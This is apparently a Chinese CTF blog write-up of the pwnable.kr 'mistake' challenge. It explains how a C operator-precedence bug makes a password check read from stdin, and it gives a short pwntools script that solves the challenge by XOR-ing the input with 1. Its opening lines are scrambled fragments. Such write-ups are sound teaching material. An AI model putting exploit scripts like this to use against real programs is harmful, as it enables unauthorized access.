pwnable 笔记 Toddler's Bottle - mistake
2016-11-16 23:12
375 查看
这题考察对c语言的运算符优先级的理解
仔细的看一下下面这段代码,可以发现这里出了一个小错误
关系运算符
如果
这样只要文件打开成功,
这导致了后面
这里
所以我们只需要在标准输入中写上
之后
输入
题目源码
题目分析
先看一遍代码,程序开始的时候调用open()打开文件
password
open()函数如果成功打开了文件,会返回一个正整数值,如果失败,会返回
-1
仔细的看一下下面这段代码,可以发现这里出了一个小错误
if(fd=open("/home/taqini/pwnable/mistake/password",O_RDONLY,0400) < 0)
关系运算符
<的优先级要高于赋值运算符
=,这里先执行判断语句:
open("/home/taqini/pwnable/mistake/password",O_RDONLY,0400) < 0
如果
open()成功打开文件,将返回一个正整数,这个数小于0必然不成立,所以这个判断语句返回的结果是
False也就是
0,之后再执行赋值语句
fd = 0
这样只要文件打开成功,
fd就会等于
0(表示
stdin文件)
这导致了后面
read()本来应该从
password文件中读数据,现在却变成了从
stdin中读取数据
if(!(len=read(fd,pw_buf,PW_LEN) > 0))
这里
read()从标准输入文件中读取了
10个字节的数据,存到了
pw_buf中,
pw_buf中原本应该存储
password的前
10个字节,现在变成了存储
stdin中的前
10个字节。
所以我们只需要在标准输入中写上
10个字节的数据,这
10字节的数据就是
pw_buf
之后
scanf()读取
pw_buf2,
pw_buf2的每一位和
1异或后与
pw_buf对比,相等的话,打印出flag
解题思路
向stdin中输入
pw_buf
pw_buf和
1按位异或后得到
pw_buf2
输入
pw_buf2
解题脚本
#!/usr/bin/python from pwn import * from time import sleep target = process('/home/mistake/mistake') pw_buf = "A"*10 pw_buf2 = "" for c in pw_buf: pw_buf2 += chr(ord(c)^1) target.sendline(pw_buf) sleep(20) target.read() target.sendline(pw_buf2) target.interactive()
相关文章推荐
- pwnable 笔记 Toddler's Bottle - collision
- pwnable 笔记 Toddler's Bottle - leg
- pwnable 笔记 Toddler's Bottle - input
- pwnable 笔记 Toddler's Bottle - cmd1
- pwnable 笔记 Toddler's Bottle - flag
- pwnable 笔记 Toddler's Bottle - fd
- pwnable 笔记 Toddler's Bottle - cmd2
- pwnable 笔记 Toddler's Bottle - blackjack
- pwnable 笔记 Toddler's Bottle - lotto
- pwnable 笔记 Toddler's Bottle - random
- pwnable 笔记 Toddler's Bottle - shellshock
- pwnable.kr [Toddler's Bottle] - mistake
- pwnable 笔记 Toddler's Bottle - bof
- pwnable 笔记 Toddler's Bottle - coin1
- pwnable 笔记 Toddler's Bottle - passcode
- pwnable 笔记 Toddler's Bottle - uaf
- pwnable.kr [Toddler's Bottle] - input
- pwnable.kr [Toddler's Bottle] -fd
- pwnable.kr [Toddler's Bottle] - bof
- pwnable.kr [Toddler's Bottle] - passcode